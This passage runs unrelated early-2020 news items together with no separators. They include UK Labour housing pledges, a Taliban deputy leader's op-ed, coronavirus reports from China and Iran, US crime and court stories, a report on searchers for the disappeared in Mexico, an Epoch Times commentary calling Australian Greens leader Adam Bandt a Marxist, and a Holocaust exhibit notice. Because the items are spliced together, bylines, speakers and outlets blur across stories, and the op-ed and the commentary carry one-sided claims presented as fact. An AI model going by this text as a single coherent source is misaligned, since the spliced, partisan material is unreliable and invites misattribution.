per year. Prior to the event, the shadow business secretarys team said she was urging her rivals to back her commitment to push for a council house boom. Labour: Leadership candidates discuss the problems in their party Sir Keir Starmer has already backed a large-scale building programme and Ms Nandy shared her own ambition to exceed the partys manifesto pledge to build 150,000 new council and social homes per year within five years. She said: We need to go further than the manifesto, with a plan to tackle the overheated housing market in London and big cities to balance the economy. Elsewhere in Ms Long-Baileys speech on Friday, she vowed to support whoever is elected in the Labour leadership contest should her own campaign fail. Whoever gets elected in this leadership campaign, if its not me Ill support them, she told supporters. I might not agree with everything they do and I might speak to them in private and have a go at them for not adopting all of the policies that I want to adopt but Ill never criticise them in public because that would not get us into a position where wed ever win a general election." Home Search ICH What We, the Taliban, Want I am convinced that the killing and the maiming must stop, the deputy leader of the Taliban writes. By Sirajuddin Haqqani - Mr. Haqqani is the deputy leader of the Taliban. February 20, 2020 " Information Clearing House " - When our representatives started negotiating with the United States in 2018, our confidence that the talks would yield results was close to zero. We did not trust American intentions after 18 years of war and several previous attempts at negotiation that had proved futile. Nevertheless, we decided to try once more. The long war has exacted a terrible cost from everyone. We thought it unwise to dismiss any potential opportunity for peace no matter how meager the prospects of its success. For more than four decades, precious Afghan lives have been lost every day. Everyone has lost somebody they loved. Everyone is tired of war. I am convinced that the killing and the maiming must stop. We did not choose our war with the foreign coalition led by the United States. We were forced to defend ourselves. The withdrawal of foreign forces has been our first and foremost demand. That we today stand at the threshold of a peace agreement with the United States is no small milestone. Our negotiation team, led by my colleagues Mullah Abdul Ghani Baradar and Sher Mohammed Abas Stanekzai, has worked tirelessly for the past 18 months with the American negotiators to make an agreement possible. We stuck with the talks despite recurring disquiet and upset within our ranks over the intensified bombing campaign against our villages by the United States and the flip-flopping and ever-moving goal posts of the American side. Even when President Trump called off the talks, we kept the door to peace open because we Afghans suffer the most from the continuation of the war. No peace agreement, following on the heels of such intensive talks, comes without mutual compromises. That we stuck with such turbulent talks with the enemy we have fought bitterly for two decades, even as death rained from the sky, testifies to our commitment to ending the hostilities and bringing peace to our country. We are aware of the concerns and questions in and outside Afghanistan about the kind of government we would have after the foreign troops withdraw. My response to such concerns is that it will depend on a consensus among Afghans. We should not let our worries get in the way of a process of genuine discussion and deliberation free for the first time from foreign domination and interference. It is important that no one front-loads this process with predetermined outcomes and preconditions. We are committed to working with other parties in a consultative manner of genuine respect to agree on a new, inclusive political system in which the voice of every Afghan is reflected and where no Afghan feels excluded. Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter I am confident that, liberated from foreign domination and interference, we together will find a way to build an Islamic system in which all Afghans have equal rights, where the rights of women that are granted by Islam from the right to education to the right to work are protected, and where merit is the basis for equal opportunity. We are also aware of concerns about the potential of Afghanistan being used by disruptive groups to threaten regional and world security. But these concerns are inflated: Reports about foreign groups in Afghanistan are politically motivated exaggerations by the warmongering players on all sides of the war. It is not in the interest of any Afghan to allow such groups to hijack our country and turn it into a battleground. We have already suffered enough from foreign interventions. We will take all measures in partnership with other Afghans to make sure the new Afghanistan is a bastion of stability and that nobody feels threatened on our soil. We are conscious of the immense challenges ahead. Perhaps our biggest challenge is to ensure that various Afghan groups work hard and sincerely toward defining our common future. I am confident that it is possible. If we can reach an agreement with a foreign enemy, we must be able to resolve intra-Afghan disagreements through talks. Another challenge will be keeping the international community interested and positively engaged during the transition to peace and after the withdrawal of foreign troops. The support of the international community will be crucial to stabilizing and developing Afghanistan. We are ready to work on the basis of mutual respect with our international partners on long-term peace-building and reconstruction. After the United States withdraws its troops, it can play a constructive role in the postwar development and reconstruction of Afghanistan. We acknowledge the importance of maintaining friendly relations with all countries and take their concerns seriously. Afghanistan cannot afford to live in isolation. The new Afghanistan will be a responsible member of the international community. We will remain committed to all international conventions as long as they are compatible with Islamic principles. And we expect other countries to respect the sovereignty and stability of our country and consider it as a ground for cooperation rather than competition and conflict. More immediately, there will be the challenge of putting into effect our agreement with the United States. A degree of trust has been built through our talks with the American negotiators in Doha, Qatar, but just as the United States does not trust us completely, we too are very far from fully trusting it. We are about to sign an agreement with the United States and we are fully committed to carrying out its every single provision, in letter and spirit. Achieving the potential of the agreement, ensuring its success and earning lasting peace will depend on an equally scrupulous observance by the United States of each of its commitments. Only then can we have complete trust and lay the foundation for cooperation or even a partnership in the future. My fellow Afghans will soon celebrate this historic agreement. Once it is entirely fulfilled, Afghans will see the departure of all foreign troops. As we arrive at this milestone, I believe it is not a distant dream that we will soon see the day when we will come together with all our Afghan brothers and sisters, start moving toward lasting peace and lay the foundation of a new Afghanistan. We would then celebrate a new beginning that invites all our compatriots to return from their exile to our country to our shared home where everybody would have the right to live with dignity, in peace. Sirajuddin Haqqani is the deputy leader of the Taliban. This article was published by "New York Times"- Do you agree or disagree? Post your comment here ==See Also== The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Search Information Clearing House === Click Here To Support Information Clearing House Your support has kept ICH free on the Web since 2002. Click for Spanish , German , Dutch , Danish , French , translation- Note- Translation may take a moment to load. In the context of International Greek Language Day, and with the aim of promoting and bolstering Greek language learning abroad, the Ministry of Foreign Affairs Secretariat General for Greeks Abroad is hosting an Event/Conference titled The Greek Language Inspires, on Saturday, 22 February 2020. The event, which starts at 11:00, will be held in the Athens Concert Halls Skalkotas Hall. Editor's Note: As China has been making all-out efforts to combat the novel coronavirus, Dr. Ali Obaid Al Dhaheri, the United Arab Emirates Ambassador to China, recorded a video to share the thoughts and sympathy that the UAE nation has for the Chinese people as they combat against the outbreak. In the video, the ambassador said that the coronavirus transcends borders, races and cultures and that in the battle, the UAE is a comrade-in-arms standing firmly with the Chinese people to combat it. Above is the full video. Full Script for H.E Dr. Ali Obaid Al Dhaheri - Ambassador of the United Arab Emirates to the People's Republic of China My dear friends and colleagues in China. I am Ali Dhaheri, the UAE Ambassador to China. This has been a tough start of the Chinese New Year of the Rat for the Chinese people. I would like to share the thoughts and sympathy of the UAE nation for those who are suffering and affected in Wuhan and throughout China by the coronavirus outbreak. This coronavirus transcends borders, races and cultures. In this battle, the UAE is a comrade-in-arms standing firmly with the Chinese people to combat the COVID-19. Like the Chinese saying, challenges make a nation even stronger, the fortitude and the strength of the Chinese nation shines through the battle. In particular, the courage and bravery of the doctors and nurses on the front line provide a model of the best of human nature. The UAE is deepening healthcare cooperation to support efforts to face this medical challenge. Our country is also relaying hundreds of thousands of units of essential goods such as surgical masks, medical gloves, goggles and protective clothing to support the medical effort and healthcare personnel in the affected areas. Our two globally renowned airlines, Etihad and Emirates, are keeping the connectivity between our two nations open by continuing flights to and from Beijing. Our country continues to be active in business and cultural engagement with China and our visa policy and border entry policy for Chinese citizens remains the same. In my engagements and time here in China, I have gotten to know the remarkable strength and resilience of the Chinese people. Your friends in the UAE have great faith in your capabilities and inner resolve to overcome this challenge. Wuhan jiayou Zhongguo jiayou Let's hear the voices of support from the UAE. WILLIAMSPORT A former Sullivan County deputy sheriff has admitted she embezzled nearly $200,000 in sheriff sales money over a seven-year period. Mary Handzus, 63, of the Laporte area, on Thursday pleaded guilty in U.S. Middle District Court to a charge of embezzlement from programs receiving federal funds. The Philadelphia native, who has a masters degree in business administration, admitted taking $198,566 between March 6, 2012, and Jan. 4, 2019, and using the money to pay personal bills. Judge Matthew W. Brann released Handzus on personal recognizance pending sentencing, the date of which has not been set. Although the maximum for the charge is 10 years, a sentence in the 18-month range is more likely, according to statements made in court. Handzus was placed on leave when a bank on Jan. 4, 2019, discovered a discrepancy in one of the sheriffs accounts. She was fired Feb. 5, 2019, after an independent forensic audit concluded embezzlement had occurred. -- Recent John Beauge stories on PennLive Woman who ran over and killed her boyfriend near Trout Run enters no contest plea Design work progressing on schedule for thruways southern section in Snyder County Man gets 6 to 20 years for 2016 armed robbery of Snyder County bank Penn State student sues, claims she is treated differently because she is black Racist social media video shot in Jersey Shore high school sparks an investigation Milton logistics firm buys ex-distribution center in Lycoming County, also expanding in Va. Iran announces 3 new coronavirus cases, including doctor Iran Press TV Thursday, 20 February 2020 6:21 PM Iran has confirmed three new cases of coronavirus with a main center of the outbreak still being the central city of Qom where two people died on Wednesday. A health ministry spokesman said on Thursday that two people in Qom and one more in Arak, a provincial capital to the southwest of Qom, had been tested positive for coronavirus. Kianush Jahanpour said on Twitter that the affected person in Arak was "a dear colleague from the health community" in Iran. He later told ISNA news agency that the man was a doctor from Qom. The official also retweeted a statement from the World Health Organization (WHO) Eastern Mediterranean Regional Office saying that they were in close contact with Iranian authorities to investigate and respond to the outbreak. The statements come a day after two deaths were reported as a result of a first incidence of the epidemic in Iran, more than a month after it began in central China. The two old men died hours after authorities said they had tested positive for coronavirus based on preliminary tests. Other reports on Thursday said that a couple had been put in isolation in northern Iran after being suspected of having the virus. A senior health official in Babol, in Mazandaran province, said the two individuals had shown signs of ill-health upon returning to the city from Qom. However, a later statement said they had tested negative for coronavirus. More than 2,000 people have died and tens of thousands remain affected by the new coronavirus which has been declared by the WHO as a global public emergency. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A Defense Department agency reportedly suffered a data breach last year that may have compromised personal information, including Social Security numbers, of victims involved. Reuters reported Thursday that the Defense Information Systems Agency (DISA) sent out a letter last week to all individuals affected by the breach, which DISA wrote took place between May and July of 2019. DISA told victims in the letter, which was also tweeted out by one of the potential victims earlier this week, that some of your personal information, including your Social Security number, may have been compromised due to a data breach of DISAs systems. BRUSSELS - The European Union is urging an immediate halt to a crushing offensive by Syrian forces that has displaced nearly 1 million people in recent weeks. The 27-nation EU said in a statement early Friday that it is ready to boost aid to the most vulnerable civilians affected in Syrias Idlib region. As tensions mount between Russia and Turkey, which are backing opposite sides in Syrias civil war, the EU called for a sustainable cease-fire on all sides and to allow unimpeded and direct humanitarian access to all those in need. The offensive by Syrian President Bashar Assads forces is aimed at recapturing remaining opposition-held areas and has triggered the biggest single wave of fleeing civilians in Syrias nine-year war. German Chancellor Angela Merkel and French President Emmanuel Macron talked to Russian President Vladimir Putin on Thursday and proposed urgent talks with Turkish President Recep Tayyip Erdogan to ease tensions. In Sonora, Mexico, the search for a missing loved one combines science, magic and faith. Virginia wanted to follow in her fathers footsteps by studying agronomy, but after his disappearance, she finally chose to study criminology. I promised myself that I would find him, and my studies are helping me in my quest, she tells me as she pulls from her wallet an already yellowed newspaper clipping with the missing persons name on it. This clipping will stay there until it disintegrates. I will never stop looking, she adds. Virginia is one of the Madres Buscadoras (literally, the searching mothers) of Sonora (northern state of Mexico), one of the 70 collectives of searchers, rastreadoras (trackers) and warriors as they are called in Mexico who dedicate themselves day after day to searching for loved ones who disappeared in their own country. Virginia taking from her wallet the article reporting her fathers disappearance. Basem Siria More than 60,000 missing since 2006 In recent years, enforced disappearances have resurfaced in Latin America in a general context of globalized neo-liberal democracies and economies focused on massive extraction. In the case of Mexico, enforced disappearance is combined, in a complex manner, with the disappearances of individuals. In 2017, Mexico approved the General Law on the Disappearance of Persons and Disappearances Committed by Individuals, which aims to curb multi-actor disappearances. However, this law is far from being effective. Between 2006 and January 2019, the National Commission for the Search for Persons in Mexico counted 61,647 missing Mexicans. As in Chile, with the Association of Families of Disappeared Detainees (AFDD), and in Argentina, with the Mothers and Grandmothers of Plaza de Mayo, it is mainly women who go in search of their relatives, travelling the length and breadth of Mexican territory. Basem Siria In addition to these collectives, the Central American Mothers Caravan has been crossing Mexico every year for the past 15 years in search of relatives who have disappeared while trying to reach the United States. They travel all over the country showing the photo of their son or daughter on signs that have become emblematic of the painful question: Where are they? They put up posters on the streets, and they walk through hospitals, prisons, rural areas, and cemeteries. They talk to associations, journalists, the authorities, and from time to time they receive a clue, an anonymous call. And sometimes they manage to locate their loved one, alive or dead. Science, magic and faith We accompanied the Madres Buscadoras of Sonora to three places where they had been given a pitazo, that is, where someone had anonymously told them that they would find human remains. We went out in vans, with shovels and varas, T-shaped iron instruments that they bury in the ground and then smell them. If the vara stinks, it may be because there are human remains in the process of decomposition underground. They may even belong to a person they are looking for. But they know that bones do not smell like death and that with this method they will only find recent remains. Basem Siria On the first day of the search, the mothers are accompanied by Don Manuel, who claims to be endowed with a special gift: with the help of his pendulum, he is able to track the energy of the dead. The mothers entrust him with photos bearing the faces of the missing, and Don Manuel chooses one of them, puts it in front of his pendulum and waits to see if it wants to work and indicate where to bury the instrument and dig. This time the face in front of the pendulum is that of Carmens son. She takes hold of the object and begins to talk to her son, asking him to direct her so that at last she has a suitable place to mourn him, that is, a grave with his remains. But Carmen tells us she doesnt understand why Don Manuel insists on taking the photo of her son and not the others. I want to find him, and at the same time I dont, she confides. This mother would like to find his remains and no longer live in the uncertainty of her sons disappearance, but at the same time uncertainty allows her to keep the hope that he is still alive. All these women live in this state of torture and ambiguity. Juana is also waiting in a small town in Sonora to find her son who disappeared five years, three months and several days ago. She tells us how they took him away one night, at three oclock in the morning. Since then she has had no news. Since his disappearance, I feel I am no longer living, she says, sobbing in pain. And if I am alive, it is to look for him. I will never stop looking for him. Juana is still waiting for him to call her, for him to reappear. Her story still sounds so vivid, so rich in small detail, as if his abduction had taken place that very day. For these searching women, time has stood still at the moment of disappearance. Their loved ones are neither alive nor dead, it is an ambiguous loss, as therapist Pauline Boss calls it. The impossible goodbye Thats why we cant say theyre dead, says Virginia. I cant say goodbye to my father. In my heart of hearts, I can think that after so many years he is most likely dead, but there is no proof, so until I am sure, I will keep looking for him. Virginia finds it shocking that some of her God-fearing relatives wish her father to rest in peace. Basem Siria But faith in God is a consolation for some of these mothers, sisters and wives. Or more precisely, it is a half-consolation. Many invoke it, implore it for their loved ones and pray every day, go to Mass and ask the parish priest for advice. But, just as some psychologists suggest they say goodbye to their departed loved ones, some priests ask them to leave them to God. A young woman, who was pregnant when her husband was kidnapped, confides to us: I have nothing to give to God, I dont have his body, I have nothing. I dont know where he is, what can I give to God? To date, the Madres Buscadoras de Sonora collective, which brings together families from all over the state and has more than 200 members since it was founded in 2019, has recovered 79 remains. These are small groups that go out every weekend to search for the bodies, using their own resources, paying for petrol, food, etc. The second time we followed the Madres in their quest, we found part of a skull and a jawbone. During the other three outings we found only pieces of clothing and ground full of small white crystal-like stones with a strong chemical smell. These could be remnants of caustic soda, used to dissolve bodies. Disappeared on their way to the United States We also found searchers on the other side of the border, on the US side. From Tijuana, it takes me no more than 15 minutes to cross the border and join the Armadillos Binacional, who agreed to meet us in a cafeteria in San Diego. The youngest of them, a boy in his twenties at the most, says, My parents crossed this Arizona Desert. Like them, a lot of people are suffering over there and are trying to come here to get what I have, an education, a job. Many Armadillos arrived with their parents from Mexico without papers and identify with the people trying to cross the border. The Armadillos began what they call their search work two years ago for their brothers on the other side of the border, of whom they have found 22 bodies or remains. It is voluntary work that they do outside their working hours, with their own means and donations from their community. Although the collective is composed mainly of men, they say women play a very important role. My wife supports me, she prepares everything for the search work: water, clothes, lunch. Paola Diaz At the weekend, they drive all night from California to Arizona, since 90% of missing persons reports come from that state. Indeed, since urban crossing points were closed in the 1990s, a funnel effect has occurred, forcing migrants to cross through extremely dangerous remote areas such as the Sonora Desert and Arizona. It is a huge desert, where you walk for five minutes and you already dont know where you are, says Caesar, one of the founding members of the collective. Solidarity with the other side of the border Over the past year, Armadillos have managed to expand their work across the border to help Mexican research groups. Here, it is not about people who disappeared over the border but about people who have disappeared on Mexican territory although there are migrants among them. Armadillos insist on the fact that their collective aims to look for missing persons. When a report arrives, Armadillos do not know, and do not want to know how that person disappeared or who is responsible. So Madres Buscadoras de Sonora and Armadillos Binacional have joined forces to search together in this land of disappearances. Because in this area of Latin America, beyond the immense border walls, beyond the legal and illegal traffic, there are all the disappeared. Paola Diaz From the Arizona desert to Chiapas and further south, where the United States has extended its borders and its war on drugs, a dense web of absences has been woven across families, generations and nations. Just as these wars (and their economies) are becoming internationalized, this web of missing persons and the search for them also crosses borders. This is a phenomenon of disappearance that leaves not scars but open wounds, which people from Mexico to the United States try every hour of every day to bear with faith, magic and science, and by weaving cross-border solidarity. This article was written with the collaboration of Basem Siria, exiled photographer and human rights cyber activist, and journalist Lorenza Sigala. All the names of the interviewees are fictitious, except for the leader of the Armadillos Binacional collective, who asked us to keep his first name. The fieldwork was carried out within the framework of the project Sortir de la violence, funded by the National Research Agency (ANR). Paola Diaz, Investigadora en la Escuela de Altos Estudios en Ciencias Sociales CEMS- EHESS- Francia y en COES- Chile (Centre for Social Conflict and Cohesion Studies), Ecole des hautes etudes en sciences sociales (EHESS). This article, slightly modified and translated in english by Justice Info, with the agreement of the author, was first published on The Conversation in spanish. Its Spreading! Marxist Australian Greens Leader Adopts Green New Deal Commentary Adam Bandt, the newly elected Marxist leader of the Australian Greens, has committed his party to an Alexandria Ocasio-Cortez style Green New Deal. On Feb. 4 this year, Bandt, a long-time co-leader of the party, was elected unopposed to the party leadership. The same day, he used his very first press conference to advertise the Australian Greens brand new Green New Deal-themed website and commit the party to the new program. The Green New Deal concept has been around in some form or another for many years, but the latest version is a very new creation. The Green New Deal document was written over a single December 2018 weekend by the staff of New York Congresswoman Alexandria Ocasio-Cortez and three far-left groups, described by the New Yorker as: the Sunrise Movement, a grassroots climate organization; the Justice Democrats, which recruits and supports leftist candidates; and an upstart policy shop called the New Consensus. The Green New Deal wasnt written on the back of a restaurant napkinbut it was almost as amateurish. Just about everyone involved was new to lawmaking. We spent the weekend learning how to put laws together, Ocasio-Cortezs chief of staff, Saikat Chakrabarti, told New Yorker journalist Benjamin Wallace-Wells. We looked up how to write resolutions. The Green New Deal is basically a plan to completely centralize economic planning in the name of tackling climate change. The draft text called for a congressional committee, which would be fully funded and empowered to draft legislation to map out a detailed national, industrial, economic mobilization plan capable of making the U.S. economy carbon neutral while promoting economic and environmental justice and equality, according to The Intercept. In other words, socialism. Ocasio-Cortez is a member of the 55,000-member strong Marxist group Democratic Socialists of America (DSA). With strong backing from the DSA and the Communist Party USA, the Green New Deal soon became ubiquitous in the Democratic Partys dominant left wing and is now endorsed by nearly 100 U.S. congressmembers and several Democratic presidential candidates. Bandt fully understands the origins and intent of the Green New Deal that hes now promoting. In an article in the DSA-aligned magazine Jacobin, published just days before assuming the Australian Greens leadership, Bandt laid out his vision for an Australian Green New Deal: We need government intervention on the scale of the Apollo program. We need a Green New Deal for Australia, a transformative plan to get us out of the overlapping crises of climate emergency and economic inequality. With a Green New Deal, we can break free from the false dichotomy that we must choose between tackling the climate crisis and delivering better outcomes for workers. Taking the urgent action we need to transform our society is an opportunity for equality and justice. This is our chance to shift Australia to a clean, renewable economy while building a more caring and equal society. In March 2018, SEARCH Foundation hosted Bhaskar Sunkara, a DSA comrade, Green New Deal advocate, and Jacobin editor, at Sydney Trades Hall for a talk entitled Corbyn, Sanders and the next left. The Sydney-based SEARCH Foundation, which works closely with the Australian Greens, is the continuation of the now defunct moderate wing of the Communist Party of Australia (CPA). Former Australian Greens Sen. Lee Rhiannon, once a high-ranking pro-Soviet communist, is a close ally of Bandt and is also a SEARCH Foundation committee member. Sunkara also addressed a major Marxism conference in Melbourne the same month. Writing in the Guardian, Bandt made it clear that he sees the Green New Deal as a vehicle for putting his personal values into action: The two elements of a Green New Deal government taking the lead to create new jobs and industries, and universal services to ensure no one is left behind are the values I have been fighting for my whole adult life. And those values are undoubtedly socialist. In 2010, Bandt became the first Australian Greens member to be elected to the Australian parliamentthe House of Representativesin a federal election. Bandt had started out in politics as a teenage member of the Australian Labor Party but moved to the far-left while studying law at Perths Murdoch University in the early 1990s. At Murdoch, Bandt was a leader of the Left Alliance. Active in several Australian universities for more than a decade, the Left Alliance was a coalition of the Socialist Youth League, the youth wing of the CPA, and Resistance, the youth wing of the Democratic Socialist Party (DSP), a grouping with Trotskyist roots. By the time Bandt became a leader of Left Alliance, Resistance had left the organization after a proposed CPADSP merger had foundered. In 1991, the CPA dissolved and re-formed as the short-lived New Left Party. In 1992, the Australian Greens were formed out of several smaller state-based Green parties. In 1995, while he was a student, Bandt described the newly founded Greens as a bourgeois party, writing in a memo on a Marxist student website that Communists cant fetishise alternative political parties, but should always make some kind of materially based assessment about the effectiveness of any given strategy come election time, according to The Australian. In other words, the Greens could be a useful way to promote socialism. In 2008, Bandt completed a Ph.D. at Monash University in Melbourne with his thesis titled Work to Rule: Rethinking Marx, Pashukanis and Law. His supervisor, Andrew Milner, was a former member of the British Socialist Workers Party turned Australian Greens supporter. In December 2010, the first Union and Community Summer School was held in Melbourne. Called Winning Our Rights, the school bought together experienced labour activists from different generations and most left political traditions, to discuss the way forward for the union movement, according to Green Left Weekly. Union activists from the Australian Greens, the DSP-initiated Socialist Alliance, the re-founded CPA, the pro-China Communist Party of Australia (Marxist-Leninist), and SEARCH Foundation took part. A public meeting themed Reviving the union movement under the Gillard government opened the school. Speakers included brand new Australian Greens Member of Parliament Adam Bandt. Discussion on the second day focused on unions role in the climate action movement and building the union fightback. The Australian Greens are a minor political party, holding only a few seats in Australias two federal chambers of government. However, they sometimes hold the balance of power between the larger Labor and Liberal parties. This can give the tiny party a disproportionate influence on Australias political direction. Under the much further left Bandt leadership, the Australian Greens will be much more aggressive in promoting their socialist agenda. We may hear much more about the Green New Deal from downunda in the next months and years. Trevor Loudon is an author, filmmaker, and public speaker from New Zealand. For more than 30 years, he has researched radical left, Marxist, and terrorist movements and their covert influence on mainstream politics. He is the author of a soon-to-be published book White House Red: Communist, Socialists and Security Risks Running for U.S. President, 2020. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Ross said in closing arguments he didn't think he should be convicted of attempted murder because he didn't intend to kill the man. Despite testimony from three witnesses that Ross hit the man in the face with a sledgehammer, Ross said he didn't recall hitting the man with a hammer. Ross said he's a mechanic, so he knows how to swing a hammer. "I definitely would have done some serious damage if I ever smacked him with a hammer," Ross said. "I ain't no murderer, and I certainly didn't attempt to murder this guy." During his testimony, Ross said he took more than his prescribed dose of Xanax that day because he was feeling "stressed" and drank a fifth of gin. He admitted his memory of the day's events was less than perfect. Ross admitted he "punched the guy up." When Burke displayed a photo from an officer's body camera showing a man holding a hammer covered in what was suspected to be blood, Ross admitted he was the person photographed. Later, while answering a question from the jury, Ross said the hammer was left in the van he was driving that day. He was not sure of the current location of the hammer. FEBRUARY 21: The Grizzlies have officially signed Hannahs to a 10-day contract, the team announced today in a press release. The deal will run through March 1. FEBRUARY 20: The Grizzlies are bringing back Dusty Hannahs. The guard will ink a 10-day deal with the club, Evan Barnes of The Memphis Commercial Appeal reports. Hannahs has played for the Memphis Hustle of the G League in each of the past three seasons. He was called up on a 10-day deal with the Grizzlies late last season. The Arkansas native was averaging 21.2 points per game in his 33 G League contests this season. Hannahs is expected to join the Grizzlies during the teams current four-game road trip. No corresponding roster move will be necessary, since Memphis has had an opening on its 15-man squad since releasing Dion Waiters earlier this month. Hanoi, Feb 21 : Vietnamese authorities have charged seven people in connection with the deaths of 39 citizens, who were found dead in a refrigerated lorry in the UK's Essex county last year, police said. The migrants, including two 15-year-olds, were found in the lorry on an industrial estate in Essex on October 23, 2019 and were mostly from poor and rural areas of Vietnam's north-central provinces, reports Efe news. On Thursday night, the Ha Tinh provincial police said the seven charged persons created immigration profiles for 67 people from various Vietnamese localities for illegal work in the UK and Europe. Six of the accused are in custody, and police said they would request an Interpol red notice for another, a woman living in China. The police referred to the case of a 26-year-old victim, who they said paid three of the accused $22,000 and was taken to the UK via France and China. Post-mortem examinations pointed to hypoxia (lack of oxygen) and hyperthermia (overheating) as the causes of death. Police said the investigation into the case was still open but did not give dates of any court appearances for those charged. As part of Operation Order, Gardai have arrested three males in Longford this morning, Friday, February 21 in relation to a number of incidents that occurred outside Holy Family Church, in Mervue, Galway on January 13, 2019. The three males, two aged in their early 40s and the third in his late 30s are due to appear before Longford District Court this morning. The incident in January 2019 occurred outside the Holy Family Church in Mervue in Galway. Shortly after 3pm on that date, a man in his 30s received a gunshot wound to the leg and was treated in University Hospital Galway. A second man in his late teens received a stab wound to the back and was taken to University Hospital for treatment. A third man received minor injuries in an assault on Walter Macken Road which is also under investigation. A teenage boy was subsequently arrested on Walter Macken Road later that afternoon (Jan 13, 2019) for possession of an offensive weapon. He was later released and cautioned under the Juvenile Diversion Programme. CAYCE, S.C. - The South Carolina community that searched, prayed and then cried for a missing 6-year-old girlsaid goodbye Friday to the youngster, who disappeared from her front yard and was found dead three days later. A sea of bright colours, especially pink and purple, filled Trinity Baptist Church in Cayce where folk gathered for a public memorial service to honour and remember the bubbly spirit of 6-year-old Faye Marie Swetlik. The stairs leading to the pulpit were filled with flowers, stuffed animals and pictures of the child. Prior to a eulogy read by the churchs pastor, Dr. Eddie Coakley, the song Better When Im Dancing played as a video rolled showing photos of Fayes smiling face. Audience members were seen wiping away tears as that and other videos of the child were played. Coakley said the eulogy was written by the girls mother, who acknowledged having a hard time explaining the life of someone who meant so much to so many in just a few paragraphs. Her mother wrote that Faye became my whole world in just a few minutesand recalled how she got her name. Faye is French for fairy. When I was pregnant, she felt like fairies dancing around. And I always wanted her to believe in magic, so she was dubbed Faye Marie my little fairy Mary. And magic she was. From the day she was born, we taught her the beaut of magic and the most important magic of all love. Faye loved hard. There wasnt a single person she couldnt make smile. She wanted everyone to be as happy as she was, said the message, read out by Coakley. So long as we can love one another, her memory lives on, the pastor continued, reading from the mothers statement. She also said in the statement: I ask when you leave here to love a little more, to be a little more kind, to compliment a stranger, to dance in the rain, to stop and smell the flowers and show just a little bit more love to everyone you meet and just have a Faye day. The girl was a first-grader at Springdale Elementary School and was playing in her front yard after getting off the school bus Feb. 10 when she disappeared. More than 200 officers searched for her until Thursday, when Fayes rain boot found in a neighbours trash can led police to search a nearby area for a fourth time. Thats when they found her body recently placed there. DNA evidence connects the girls death to that neighbour, 30-year-old Coty Scott Taylor, authorities said. Right after Fayes body was found, Taylor was found dead with his own thrato slit on his patio, according to the Lexington County Coroners Office. Officers questioned Taylor and went into his home the day before the girls body was found, but Cayce Public Safety Director Byron Snellgrove said they found no evidence of the girl at that time. Investigators have not said why Taylor, who had no criminal record, wanted to kidnap the girl. The coroners office said that, out of respect for Fayes family, they were refusing to release any details about the condition of the girls body or disclose any other way she might have been injured beyond dying of asphyxiation. The girls disappearance shocked Cayce, a town of about 13,000 just west of Columbia, the state capital. Several prayer vigils were held while she was missing and after her body was found. Both the county coroner and the police chief in Cayce said they and their employees were shaken In her obituary, Fayes family said she was gone too soon but wouldnt be forgotten. She made everyone believe in all things good again. She left behind a world that loved her. May she forever sparkle, they wrote. Coakley said as he closed the service that the family asked people to write in journals stationed around the church a little note as if you were writing to Faye or to the family. The books would later be given to the family, he said. Thank you for being here tonight. What a blessing to be here to honour Faye, Coakley said. Women protesters at Shaheen Bagh on Friday told the Supreme Court-appointed interlocutors that when several adjoining roads in the area are open, why have they been asked to move to another site. Senior lawyers Sanjay Hegde and Sadhana Ramachandran, the apex court-appointed interlocutors, met the protesting women at a tent in the south Delhi neighbourhood to hold talks for the third consecutive day. "When several adjoining roads are open, why are they insisting us to move from this road. This is not the only road connecting Delhi-Noida," a woman protestor told the interlocutors. Hegde said, "Today is Shivaratri. It is your right to speak, speak up. Say everything you want to say. Let's take a joint decision for all parties affected here". The interlocutors also called Delhi Police at the spot to discuss the matter with protestors. On Monday, the Supreme Court observed that the blockade of the road at Shaheen Bagh was "troubling" and suggested the protesters go to another site where no public place would be blocked. It, however, upheld their right to protest. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Hours after expressing satisfaction at easing of relation with the West Bengal government, governor Jagdeep Dhankhar on Friday said the politics of violence and murders must end in the state in view of the coming elections. Dhankhar made the statement at Siliguri in north Bengal where he went for a day to attend a few programmes. Dhankhar, who has been at loggerheads with the Trinamool Congress government on multiple occasions, said at a media conference that the states name was associated with violence and murders associated with politics and elections. Earlier in the day at Jalpaiguri, he said, In the past 15-20 days, my rapport with the state government has picked up. I think, now, we are in the proper take-off stage. Later, he took a jibe at state politics, saying: In last many years, West Bengals name has been associated with political and election violence and political murders. These things should come to an end. I believe all are trying to bring this to an end. He said bureaucrats and policemen should act neutrally. It is a constructive suggestion. Our image in the entire country should be of the nature that we will have the most peaceful elections, he told reporters in Siliguri. Dhankhars statement comes at a time when preparations are being made for the civic polls. The assembly polls will be held in 2021. Education minister Partha Chatterjee, who held a meeting with Dhankhar at Raj Bhawan on Thursday, said: He said what he wanted to. We dont want to react on his statements every day. SHARE THIS ARTICLE ON MAITLAND, FLThe Holocaust Memorial Resource and Education Center of Florida is honored to feature Vedem Underground: The Secret Magazine of the Terezin Ghetto (1942-1944) from Jan. 13 through April 3, 2020. Named one of the Smithsonians 10 Dont Miss... new exhibits for Winter 2017, Vedem Underground, produced by the Vedem Foundation, is an art installation that deconstructs and reinterprets the literary work of the teenage Jewish creators of the longest-running underground magazine in a Nazi camp. From 1942 to 1944, Vedem (In the Lead in Czech) chronicled life within the walls of Czechoslovakias Terezin Ghetto, and was a symbol of protest, rebellion and creative activism by some of the eras youngest resistance fighters. Inspired by Vedems invaluable lessons about the necessity of free speech and the dangers of propaganda and censorship, the exhibit premiered at the Simon Wiesenthal Centers Museum of Tolerance in Los Angeles in 2016, and has since been presented in cities such as Atlanta, Austin, Dallas, Houston, Sacramento and Portland, Oregon. Using a combination of pop-art graphics, archival photographs and cartoons, as well as the prose and poetry created by the magazines contributors, Vedem Underground celebrates the artistic and cultural legacy of Vedem by breaking down its 83 weekly issues totaling 800 pages, then reconstructing them in the form of a contemporary magazine. Vedem Underground was produced and curated by Rina Taraseiskey, whose grandfather led the resistance at Lithuanias Kovno Ghetto, and who is also co-writing the companion book Vedem Underground: Pages of Resistance and producing the Vedem Underground documentary film with an Oscar- and Emmy-award winning team; Los Angeles-based art director Michael Murphy, who conceptualized the exhibit as a merging of punk subculture-inspired art and the 1940s-era zine aesthetic; and Dallas-based writer and journalist Danny King. Vedem Underground was the winner of the 2016 WORD Grant: The Bruce Geller Memorial Prize, a project of American Jewish Universitys Institute for 